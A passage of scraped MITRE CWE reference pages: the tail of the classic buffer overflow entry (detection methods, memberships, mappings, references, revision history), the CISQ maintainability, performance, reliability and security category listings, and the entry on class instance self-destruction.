  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Functional Areas
  • Memory Management
+ Affected Resources
  • Memory
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.726OWASP Top Ten 2004 Category A5 - Buffer Overflows
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.741CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8022010 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8652011 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.875CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.970SFP Secondary Cluster: Faulty Buffer Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1129CISQ Quality Measures - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1161SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)
+ Notes

Relationship

At the code level, stack-based and heap-based overflows do not differ significantly, so there usually is not a need to distinguish them. From the attacker perspective, they can be quite different, since different techniques are required to exploit them.

Terminology

Many issues that are now called "buffer overflows" are substantively different than the "classic" overflow, including entirely different bug types that rely on overflow exploit techniques, such as integer signedness errors, integer overflows, and format string bugs. This imprecise terminology can make it difficult to determine which variant is being reported.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUnbounded Transfer ('classic overflow')
7 Pernicious KingdomsBuffer Overflow
CLASPBuffer overflow
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
OWASP Top Ten 2004A5CWE More SpecificBuffer Overflows
CERT C Secure CodingSTR31-CExactGuarantee that storage for strings has sufficient space for character data and the null terminator
WASC7Buffer Overflow
Software Fault PatternsSFP8Faulty Buffer Access
OMG ASCSMASCSM-CWE-120
OMG ASCRMASCRM-CWE-120
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 5, "Public Enemy #1: The Buffer Overrun" Page 127. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.
[REF-56] Microsoft. "Using the Strsafe.h Functions". <http://msdn.microsoft.com/en-us/library/ms647466.aspx>.
[REF-57] Matt Messier and John Viega. "Safe C String Library v1.0.3". <http://www.zork.org/safestr/>.
[REF-58] Michael Howard. "Address Space Layout Randomization in Windows Vista". <http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx>.
[REF-59] Arjan van de Ven. "Limiting buffer overflows with ExecShield". <http://www.redhat.com/magazine/009jul05/features/execshield/>.
[REF-74] Jason Lam. "Top 25 Series - Rank 3 - Classic Buffer Overflow". SANS Software Security Institute. 2010-03-02. <http://software-security.sans.org/blog/2010/03/02/top-25-series-rank-3-classic-buffer-overflow/>.
[REF-61] Microsoft. "Understanding DEP as a mitigation technology part 1". <http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx>.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Nonexecutable Stack", Page 76. 1st Edition. Addison Wesley. 2006.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Protection Mechanisms", Page 189. 1st Edition. Addison Wesley. 2006.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "C String Handling", Page 388. 1st Edition. Addison Wesley. 2006.
[REF-64] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. <https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/>.
[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-CWE-120. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-120. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
Submissions
Submission DateSubmitterOrganization
PLOVER
Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-10CWE Content TeamMITRE
Changed name and description to more clearly emphasize the "classic" nature of the overflow.
2008-10-14CWE Content TeamMITRE
updated Alternate_Terms, Description, Name, Other_Notes, Terminology_Notes
2008-11-24CWE Content TeamMITRE
updated Other_Notes, Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships
2009-07-27CWE Content TeamMITRE
updated Other_Notes, Potential_Mitigations, Relationships
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Relationships
2010-02-16CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Time_of_Introduction, Type
2010-04-05CWE Content TeamMITRE
updated Demonstrative_Examples, Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Potential_Mitigations, References
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples, Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-02-18CWE Content TeamMITRE
updated Potential_Mitigations, References
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Demonstrative_Examples, Likelihood_of_Exploit, References, Relationships, Taxonomy_Mappings, White_Box_Definitions
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-10-14Unbounded Transfer ('Classic Buffer Overflow')

CWE CATEGORY: CISQ Quality Measures - Maintainability

Category ID: 1130
Status: Incomplete
+ Summary
Weaknesses in this category are related to the CISQ Quality Measures for Maintainability. Presence of these weaknesses could reduce the maintainability of the software.
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1128CISQ Quality Measures (2016)
HasMemberVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.561Dead Code
HasMemberVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.766Critical Data Element Declared Public
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1041Use of Redundant Code
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1044Architecture with Number of Horizontal Layers Outside of Expected Range
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1047Modules with Circular Dependencies
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1048Invokable Control Element with Large Number of Outward Calls
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1052Excessive Use of Hard-Coded Literals in Initialization
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1054Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1055Multiple Inheritance from Concrete Classes
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1064Invokable Control Element with Signature Containing an Excessive Number of Parameters
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1074Class with Excessively Deep Inheritance
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1075Unconditional Control Flow Transfer outside of Switch Block
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1080Source Code File with Excessive Number of Lines of Code
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1084Invokable Control Element with Excessive File or Data Access Operations
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1085Invokable Control Element with Excessive Volume of Commented-out Code
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1086Class with Excessive Number of Child Classes
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1090Method Containing Access of a Member Element from Another Class
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1092Use of Same Invokable Control Element in Multiple Architectural Layers
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1095Loop Condition Value Update within the Loop
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1121Excessive McCabe Cyclomatic Complexity
+ References
[REF-960] Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016-01. <http://www.omg.org/spec/ASCMM/1.0>.
[REF-968] Consortium for IT Software Quality (CISQ). "Automated Quality Characteristic Measures". 2016. <http://it-cisq.org/standards/automated-quality-characteristic-measures/>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-23CWE Content TeamMITRE
Constructed using Common Quality Enumeration (CQE) draft 0.9, constructed using view 9001.

CWE CATEGORY: CISQ Quality Measures - Performance

Category ID: 1132
Status: Incomplete
+ Summary
Weaknesses in this category are related to the CISQ Quality Measures for Performance. Presence of these weaknesses could reduce the performance of the software.
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1128CISQ Quality Measures (2016)
HasMemberVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.1042Static Member Data Element outside of a Singleton Class Element
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1043Data Element Aggregating an Excessively Large Number of Non-Primitive Elements
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1046Creation of Immutable Text Using String Concatenation
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1049Excessive Data Query Operations in a Large Data Table
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1050Excessive Platform Resource Consumption within a Loop
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1057Data Access Operations Outside of Expected Data Manager Component
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1060Excessive Number of Inefficient Server-Side Data Accesses
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1063Creation of Class Instance within a Static Code Block
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1067Excessive Execution of Sequential Searches of Data Resource
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1072Data Resource Access without Use of Connection Pooling
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1073Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1089Large Data Table with Excessive Number of Indices
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1091Use of Object without Invoking Destructor Method
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1094Excessive Index Range Scan for a Data Resource
+ References
[REF-959] Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016-01. <http://www.omg.org/spec/ASCPEM/1.0>.
[REF-968] Consortium for IT Software Quality (CISQ). "Automated Quality Characteristic Measures". 2016. <http://it-cisq.org/standards/automated-quality-characteristic-measures/>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-23CWE Content TeamMITRE
Constructed using Common Quality Enumeration (CQE) draft 0.9, constructed using view 9001.

CWE CATEGORY: CISQ Quality Measures - Reliability

Category ID: 1129
Status: Incomplete
+ Summary
Weaknesses in this category are related to the CISQ Quality Measures for Reliability. Presence of these weaknesses could reduce the reliability of the software.
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1128CISQ Quality Measures (2016)
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.252Unchecked Return Value
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.396Declaration of Catch for Generic Exception
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.397Declaration of Throws for Generic Exception
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.456Missing Initialization of a Variable
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.674Uncontrolled Recursion
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.704Incorrect Type Conversion or Cast
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.772Missing Release of Resource after Effective Lifetime
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.788Access of Memory Location After End of Buffer
HasMemberVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.1045Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1047Modules with Circular Dependencies
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1051Initialization with Hard-Coded Network Resource Configuration Data
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1056Invokable Control Element with Variadic Parameters
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1058Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1062Parent Class with References to Child Class
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1065Runtime Resource Management Control Element in a Component Built to Run on Application Servers
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1066Missing Serialization Control Element
HasMemberVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.1069Empty Exception Block
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1070Serializable Data Element Containing non-Serializable Item Elements
HasMemberVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.1077Floating Point Comparison with Incorrect Operator
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1079Parent Class without Virtual Destructor Method
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1082Class Instance Self Destruction Control Element
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1083Data Access from Outside Expected Data Manager Component
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1087Class with Virtual Method without a Virtual Destructor
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1088Synchronous Access of Remote Resource without Timeout
HasMemberVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.1096Singleton Class Instance Creation without Proper Locking or Synchronization
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.1097Persistent Storable Data Element without Associated Comparison Control Element
HasMemberVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.1098Data Element containing Pointer Item without Proper Copy Control Element
+ References
[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.
[REF-968] Consortium for IT Software Quality (CISQ). "Automated Quality Characteristic Measures". 2016. <http://it-cisq.org/standards/automated-quality-characteristic-measures/>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-23CWE Content TeamMITRE
Constructed using Common Quality Enumeration (CQE) draft 0.9, constructed using view 9001.

CWE CATEGORY: CISQ Quality Measures - Security

Category ID: 1131
Status: Incomplete
+ Summary
Weaknesses in this category are related to the CISQ Quality Measures for Security. Presence of these weaknesses could reduce the security of the software.
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1128CISQ Quality Measures (2016)
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.89Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.99Improper Control of Resource Identifiers ('Resource Injection')
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.129Improper Validation of Array Index
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.134Use of Externally-Controlled Format String
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.252Unchecked Return Value
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.327Use of a Broken or Risky Cryptographic Algorithm
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.396Declaration of Catch for Generic Exception
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.397Declaration of Throws for Generic Exception
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.434Unrestricted Upload of File with Dangerous Type
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.456Missing Initialization of a Variable
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.606Unchecked Input for Loop Condition
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.667Improper Locking
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.672Operation on a Resource after Expiration or Release
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.681Incorrect Conversion between Numeric Types
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.772Missing Release of Resource after Effective Lifetime
HasMemberVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.789Uncontrolled Memory Allocation
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.798Use of Hard-coded Credentials
HasMemberBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.835Loop with Unreachable Exit Condition ('Infinite Loop')
+ References
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
[REF-968] Consortium for IT Software Quality (CISQ). "Automated Quality Characteristic Measures". 2016. <http://it-cisq.org/standards/automated-quality-characteristic-measures/>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-23CWE Content TeamMITRE
Constructed using Common Quality Enumeration (CQE) draft 0.9, constructed using view 9001.

CWE-1082: Class Instance Self Destruction Control Element

Weakness ID: 1082
Abstraction: Base
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The code contains a class instance that calls the method or function to delete or destroy itself.
+ Extended Description

For example, in C++, "delete this" will cause the object to delete itself.

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1076Insufficient Adherence to Expected Conventions
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1076Insufficient Adherence to Expected Conventions
+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Other

Technical Impact: Reduce Reliability

+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1129CISQ Quality Measures - Reliability
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OMG ASCRMASCRM-RLB-7
+ References
[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-RLB-7. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.
[REF-976] Standard C++ Foundation. "Memory Management". <https://isocpp.org/wiki/faq/freestore-mgmt#delete-this>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-02CWE Content TeamMITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.

CWE-1086: Class with Excessive Number of Child Classes

Weakness ID: 1086
